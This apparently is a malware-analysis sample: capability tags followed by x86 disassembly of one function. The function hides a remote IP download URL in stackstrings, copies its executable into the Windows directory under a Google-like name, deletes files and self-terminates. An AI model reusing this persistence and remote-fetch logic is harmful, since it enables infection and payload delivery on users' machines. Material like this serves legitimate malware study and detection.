Function at 0x402440
Capabilities:
Contain obfuscated stackstrings
Copy file
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcb0
push ebx
push esi
push edi
call fcn.00402920
test eax, eax
jne 0x40245c
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004020e0
test eax, eax
je 0x40246a
call fcn.004022b0
lea ecx, [ebp - 0xc]
call fcn.00401000
nop
nop
nop
xor ebx, ebx
lea edi, [ebp - 8]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x6e
mov byte [ebp - 5], 0x67
mov byte [ebp - 4], bl
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 8]
push ecx
push eax
push 0x628
lea ecx, [ebp - 0xcb0]
push 0x404020
push ecx
lea ecx, [ebp - 0xc]
call fcn.00401040
mov ecx, 0x18a
lea esi, [ebp - 0xcb0]
mov edi, 0x404020
rep movsd dword es:[edi], dword [esi]
call fcn.00402050
test eax, eax
je 0x4028ee
push 0x404f58
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x583]
mov byte [ebp - 0x584], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [ebp - 0x584]
push 0x104
push edx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x214]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x688]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xd
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401830
push 0xc
mov esi, eax
call fcn.00401830
add esp, 8
lea ecx, [esi + eax + 0x61]
push ecx
push 0xd
call fcn.00401830
push 0xd
mov esi, eax
call fcn.00401830
add esp, 8
lea edx, [esi + eax + 0x61]
lea eax, [ebp - 0x214]
lea ecx, [ebp - 0x214]
push edx
push eax
push str._sGoogle_c_c.EXE
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [ebp - 0x214]
lea eax, [ebp - 0x584]
push edx
push eax
call fcn.00401f50
add esp, 0x1c
test eax, eax
jne 0x4026a4
lea ecx, [ebp - 0x214]
push 1
lea edx, [ebp - 0x584]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x584]
push eax
call fcn.00401db0
lea ecx, [ebp - 0x214]
add esp, 4
test ecx, ecx
je 0x40268e
lea edx, [ebp - 0x214]
push 0x40473c
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x40268e
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x277]
mov byte [ebp - 0x278], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x80
stosb byte es:[edi], al
call fcn.00401830
mov dl, al
mov ecx, 0x18
mov dh, dl
lea edi, [ebp - 0x278]
mov eax, edx
push 0xff
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401830
mov ecx, eax
add esp, 8
shl ecx, 6
add ecx, eax
lea eax, [eax + ecx*2]
shl eax, 3
je 0x402684
mov edi, eax
lea edx, [ebp - 0x278]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 8
dec edi
jne 0x402670
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [ebp - 0x214]
push eax
call fcn.004019c0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x401e50
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
call fcn.00401ba0
test al, al
jne 0x4026d1
call fcn.00401c30
test al, al
je 0x4026d7
push ebx
call fcn.00401d00
call fcn.00402360
test eax, eax
je 0x4026e6
push ebx
call fcn.00401d00
push ebx
push ebx
push ebx
push fcn.00401d00
push ebx
push ebx
call esi
push eax
call edi
mov eax, dword [0x404430]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x47f]
mov byte [ebp - 0x480], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x480]
lea edx, [ebp - 0x480]
push 0x404738
push edx
rep stosd dword es:[edi], eax
call fcn.00401890
lea eax, [ebp - 0x480]
push eax
push 0x404020
call fcn.00401570
add esp, 0x10
test eax, eax
je 0x40276c
lea ecx, [ebp - 0x480]
push ecx
call fcn.00401a30
add esp, 4
mov cl, 0x31
mov al, 0x74
mov byte [ebp - 0x109], cl
mov byte [ebp - 0x101], cl
mov byte [ebp - 0xff], cl
mov byte [ebp - 0xfd], cl
mov cl, 0x30
mov byte [ebp - 0x10f], al
mov byte [ebp - 0x10e], al
mov dl, 0x32
mov byte [ebp - 0xfc], cl
mov byte [ebp - 0xf9], cl
mov byte [ebp - 0xf7], cl
mov al, 0x2e
mov cl, 0x69
mov byte [ebp - 0x108], dl
mov byte [ebp - 0x105], dl
mov byte [ebp - 0x103], dl
mov byte [ebp - 0x106], al
mov byte [ebp - 0x102], al
mov byte [ebp - 0xfe], al
mov dl, 0x38
mov byte [ebp - 0xf3], cl
mov byte [ebp - 0xf0], al
mov byte [ebp - 0xee], cl
mov ecx, 0x37
xor eax, eax
lea edi, [ebp - 0xeb]
mov byte [ebp - 0x110], 0x68
mov byte [ebp - 0x10d], 0x70
mov byte [ebp - 0x10c], 0x3a
mov byte [ebp - 0x10b], 0x2f
mov byte [ebp - 0x10a], 0x2f
mov byte [ebp - 0x107], 0x34
mov byte [ebp - 0x104], 0x33
mov byte [ebp - 0x100], 0x36
mov byte [ebp - 0xfb], 0x3a
mov byte [ebp - 0xfa], dl
mov byte [ebp - 0xf8], dl
mov byte [ebp - 0xf6], 0x2f
mov byte [ebp - 0xf5], 0x62
mov byte [ebp - 0xf4], 0x61
mov byte [ebp - 0xf2], 0x64
mov byte [ebp - 0xf1], 0x75
mov byte [ebp - 0xef], 0x67
mov byte [ebp - 0xed], 0x66
mov byte [ebp - 0xec], bl
mov byte [ebp - 0x37c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x37b]
lea edx, [ebp - 0x37c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x37c]
push 0x404738
rep stosd dword es:[edi], eax
push edx
call fcn.00401890
lea eax, [ebp - 0x37c]
lea ecx, [ebp - 0x110]
push eax
push ecx
call fcn.00401570
add esp, 0x10
test eax, eax
je 0x4028db
lea edx, [ebp - 0x37c]
push edx
call fcn.00401a30
add esp, 4
lea ecx, [ebp - 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebp - 0x37c]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x37c]
push ecx
call fcn.004019c0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]